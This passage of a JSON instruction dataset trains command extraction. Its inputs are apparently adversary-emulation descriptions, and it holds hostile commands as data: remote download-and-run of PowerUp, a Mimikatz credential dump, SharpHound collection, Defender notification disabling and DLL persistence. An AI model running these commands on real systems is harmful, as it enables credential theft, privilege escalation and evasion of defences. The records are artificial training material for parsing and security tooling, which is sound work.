Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The systemd-run command allows scheduling non-persistent tasks, as shown here: systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'",
    "output": "{\"command_list\": [\"systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the 'Ninja-syscall' technique (API hashing + dynamic syscalls), the test creates then removes 'hello.log' from the temp directory. The operation is performed via this command:\nStart-Process \"#{exe_binary}\"\nStart-Sleep -Seconds 7\nif (Test-Path \"C:\\Users\\Default\\AppData\\Local\\Temp\\hello.log\") { Remove-Item \"C:\\Users\\Default\\AppData\\Local\\Temp\\hello.log\" -Force; Write-Host \"[+] hello.log removed.\" }",
    "output": "{\"command_list\": [\"Start-Process \\\"#{exe_binary}\\\"\\nStart-Sleep -Seconds 7\\nif (Test-Path \\\"C:\\\\Users\\\\Default\\\\AppData\\\\Local\\\\Temp\\\\hello.log\\\") { Remove-Item \\\"C:\\\\Users\\\\Default\\\\AppData\\\\Local\\\\Temp\\\\hello.log\\\" -Force; Write-Host \\\"[+] hello.log removed.\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For adding a network share, run the command below: net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No",
    "output": "{\"command_list\": [\"net use c: #{share_name}\\nnet share test=#{share_name} /REMARK:\\\"test share\\\" /CACHE:No\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows Defender notifications, Redline employs the following registry modification command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications\" /v \"DisableNotifications\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\Notifications\\\" /v \\\"DisableNotifications\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The provided AltWinSock2DLL.dll will execute when a web browser starts, which can be configured via the registry with this command: Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll",
    "output": "{\"command_list\": [\"Set-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\\\T1546\\\\bin\\\\AltWinSock2DLL.dll\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test an uncommon port using PowerShell, which APT33 has been known to target for telnet over port 8081, run the following command: Test-NetConnection -ComputerName #{domain} -port #{port}",
    "output": "{\"command_list\": [\"Test-NetConnection -ComputerName #{domain} -port #{port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For credential dumping using Mimikatz, execute this PowerShell command: powershell.exe \"IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds\"",
    "output": "{\"command_list\": [\"powershell.exe \\\"IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can view all existing volume shadow copies, along with when they were created and where they are stored, by executing this command: vssadmin.exe list shadows",
    "output": "{\"command_list\": [\"vssadmin.exe list shadows\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that 